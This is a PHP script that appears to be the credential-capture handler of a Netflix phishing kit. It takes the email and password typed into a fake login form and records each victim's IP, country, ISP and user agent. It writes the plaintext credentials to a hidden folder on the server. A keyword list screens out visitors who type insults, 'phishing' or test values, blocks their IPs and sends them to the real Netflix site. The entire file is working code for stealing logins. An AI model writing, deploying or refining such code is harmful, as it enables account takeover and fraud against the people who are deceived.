<?php

session_start();
include($_SERVER['DOCUMENT_ROOT']."/eMwRWHmhFhW/goip.php");
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['Email'] = $_POST['userLoginId'];
$_SESSION['Password'] = $_POST['password'];
$ip = $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
$cn = getC("$ip");
$as = getas("$ip");
$isp = getisp("$ip");
$hostname = gethostbyaddr($ip);
$badwords = array("pendejos","putos","puto", "tuhermana", "laconchade", "lareconchade", "suckmydick", "picoenel", "test.com", "test@", "test123", "xupalo", "jajaja", "policia", "laverga", "estafa", "pinche", "pendejo", "malparido", "ladron", "idiota", "ingatumadre", "mierda", "maricon", "tumadre", "chupen", "sumadre", "12345678", "123456789", "1234567", "pudrete", "maldito", "puta", "teden", "queteden", "cojan", "ratero", "virus", "lamepico", "fucku", "fuckyou", "despojo", "porqueria", "hambre", "lasbolas", "lamebolas", "elano", "5h1t", "shit", "asqueroso", "cochino", "homosexual", "joto", "maraco", "comepito", "pichula", "bastardo", "basura", "perro", "perra", "jodete", "fuck", "mierda", "camotes", "maraca", "chupa", "phishing", "ratas", "pontea", "chinga");



if(!valid_email($_SESSION['Email']) or $_SESSION['Password'] == ""){
        header("location: ../");
}else{
$badwordcheck = array_find($_SESSION['Password'],$badwords);
$badwordcheckemail = array_find($_SESSION['Email'],$badwords);

$badwordcheck2 = array_find_us($_SESSION['Password'],$badwords);
$badwordcheckemail2 = array_find_us($_SESSION['Email'],$badwords);

if (!$badwordcheck or !$badwordcheckemail or !$badwordcheck2 or !$badwordcheckemail2) { 
if(!checkexist($ip,"ipd")){
	file_put_contents($_SERVER['DOCUMENT_ROOT'].'/eMwRWHmhFhW/ipd', "$ip\n" ,FILE_APPEND);
}
file_put_contents($_SERVER['DOCUMENT_ROOT'].'/eMwRWHmhFhW/LOGIPS.TXT', "BLOCKED BADWORD - ".$ip."- EMAIL: ".$_SESSION['Email']." - PASS: ".$_SESSION['Password']."\n" ,FILE_APPEND);

header("Location: https://www.netflix.com/gsd");
die; 
}

$message .= "+ ------------------------------------------ + \r\n";
$message .= "+ Victim Info LOGIN NETFLIX!                                  + \r\n";
$message .= "| Session START : ". $_SESSION['uniqueID']."\r\n";
$message .= "| Email : ".$_SESSION['Email']."\r\n";
$message .= "| Pass : ".$_SESSION['Password']."\r\n";
$message .= "+ ------------------------------------------ + \r\n";
file_put_contents($_SERVER['DOCUMENT_ROOT'].'/eMwRWHmhFhW/LOGIPS.TXT', "\nAUTH OK - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$DIR\n" ,FILE_APPEND);
$path = $_SERVER['DOCUMENT_ROOT'].'/eMwRWHmhFhW/.somalie/'.$cn."_".$_SESSION['U1yS3Ml'].'.txt';
$txt=fopen("$path","a");
fwrite($txt, $message);
fclose($txt);




header("location: ../account");

}

function valid_email($str) {
        return (!preg_match("/^([a-z0-9\+_\-]+)(\.[a-z0-9\+_\-]+)*@([a-z0-9\-]+\.)+[a-z]{2,6}$/ix", $str)) ? FALSE : TRUE;
}

function array_find($needle, array $badWords) {
$noBadWordsFound = true;
foreach ($badWords as $badWord) {
  if (preg_match("/\b$badWord\b/i", $needle)) {
    $noBadWordsFound = false;
    break;
  }
}
return $noBadWordsFound;
}

function array_find_us($needle, array $badWords) {
$noBadWordsFound = true;
foreach ($badWords as $badWord) {
   if (preg_match("/$badWord/i", $needle)) {
    $noBadWordsFound = false;
    break;
  }
}
return $noBadWordsFound;
}

function checkexist ($word, $filename){
$check = file_get_contents($filename);
 if (preg_match("/\b{$word}\b/i", $check)){
	 return true;
 }
else{ return false;} 
}
?>